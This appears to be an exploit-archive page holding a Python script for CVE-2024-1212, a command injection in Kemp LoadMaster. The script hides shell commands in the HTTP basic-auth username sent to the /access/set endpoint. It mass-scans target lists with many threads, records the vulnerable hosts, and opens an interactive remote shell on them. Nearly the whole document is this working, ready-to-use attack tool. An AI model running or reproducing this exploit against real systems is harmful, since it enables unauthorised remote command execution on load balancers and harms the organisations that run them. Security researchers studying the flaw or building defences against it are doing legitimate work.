4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import os
import re
import argparse
import requests
import warnings

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class LoadMaster:
    def __init__(self):
        self.console = Console()
        self.output_file = None
        self.verbose = False
        self.print_ascii()
        self.parse_arguments()

    def print_ascii(self):
        ascii_art = [
            "┌────────────────────────────────────────────────────────────────────────────────────────────┐",
            "│ ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗       ██╗██████╗  ██╗██████╗ │",
            "│██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ███║╚════██╗███║╚════██╗│",
            "│██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██║ █████╔╝╚██║ █████╔╝│",
            "│██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ██║██╔═══╝  ██║██╔═══╝ │",
            "│╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║       ██║███████╗ ██║███████╗│",
            "│ ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝       ╚═╝╚══════╝ ╚═╝╚══════╝│",
            "└────────────────────────────────────────────────────────────────────────────────────────────┘",
        ]
        print()
        for line in ascii_art:
            self.custom_print(f"[bright_green]{line}[/bright_green]", "+")
        print()

    def parse_arguments(self):
        parser = argparse.ArgumentParser(
            description="CVE-2024-1212 Command Injection Exploit for Kemp LoadMaster."
        )
        parser.add_argument("-u", "--url", help="Target URL for command injection.")
        parser.add_argument("-f", "--file", help="File containing target URLs to scan")
        parser.add_argument("-o", "--output", help="Output file for saving scan results")
        parser.add_argument(
            "-t",
            "--threads",
            default=50,
            type=int,
            help="Number of threads to use for scanning",
        )
        args = parser.parse_args()

        self.output_file = args.output

        if args.url:
            self.verbose = True
            self.url = args.url
            if self.check_vulnerability(args.url):
                self.interactive_shell(args.url)
        elif args.file:
            self.scan_from_file(args.file, args.threads)
        else:
            parser.print_help()

    def send_command(self, command, url):
        command_payload = f"';echo '[S]';{command};echo '[E]';'"
        try:
            response = requests.get(
                url + "/access/set?param=enableapi&value=1",
                auth=(command_payload, "anything"),
                verify=False,
                timeout=20,
            )
            return self.parse_command_output(response.text)
        except requests.RequestException:
            return None

    def parse_command_output(self, response_text):
        match = re.search(r"\[S\](.*?)\[E\]", response_text, re.DOTALL)
        if match:
            return match.group(1).strip()
        else:
            return None

    def check_vulnerability(self, url):
        hostname = self.send_command("hostname", url)
        if hostname:
            message = f"Vulnerable | {url:^30} | CVE-2024-1212 | {hostname:^30}"
            self.custom_print(message, "+")
            if self.output_file:
                with open(self.output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
        else:
            if self.verbose:
                self.custom_print(
                    f"System at {url} is not vulnerable, or the command produced no output.",
                    "-",
                )
            return False

    def scan_from_file(self, target_file, threads):
        if not os.path.exists(target_file):
            self.custom_print(f"File not found: {target_file}", "-")
            return

        with open(target_file, "r") as file:
            urls = [line.strip() for line in file if line.strip()]

        if not urls:
            self.custom_print("No URLs found in the file.", "-")
            return

        with alive_bar(
            len(urls), title="Scanning Targets", bar="smooth", enrich_print=False
        ) as bar:
            with ThreadPoolExecutor(max_workers=threads) as executor:
                futures = [
                    executor.submit(self.check_vulnerability, url) for url in urls
                ]
                for future in as_completed(futures):
                    bar()

    def split_commands(self, cmd_input):
        """
        Splits multiline input into shell-safe command chunks.
        Each line is considered a separate command unless it contains shell chaining.
        """
        commands = []
        buffer = ""

        for line in cmd_input.splitlines():
            stripped = line.strip()
            if not stripped:
                continue

            buffer += stripped

            # If the line ends with a shell chaining operator or is clearly a compound line
            if re.search(r"(;|&&|\|\|)\s*$", stripped):
                continue  # wait for next line

            # Complete command
            commands.append(buffer)
            buffer = ""

        if buffer:
            commands.append(buffer)

        return commands


    def interactive_shell(self, url):
        session = PromptSession(history=InMemoryHistory(), multiline=False)
        self.custom_print("Interactive shell is ready. Type your commands. Use 'exit' to quit.", "!")
        while True:
            try:
                cmd_input = session.prompt(HTML("<ansired><b># </b></ansired>"))

                if cmd_input.strip().lower() == "exit":
                    break
                elif cmd_input.strip().lower() == "clear":
                    self.console.clear()
                    continue

                commands = self.split_commands(cmd_input)

                for command in commands:
                    result = self.send_command(command, url)
                    print(result if result else "No output.", "\n")

            except KeyboardInterrupt:
                break

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


if __name__ == "__main__":
    LoadMaster()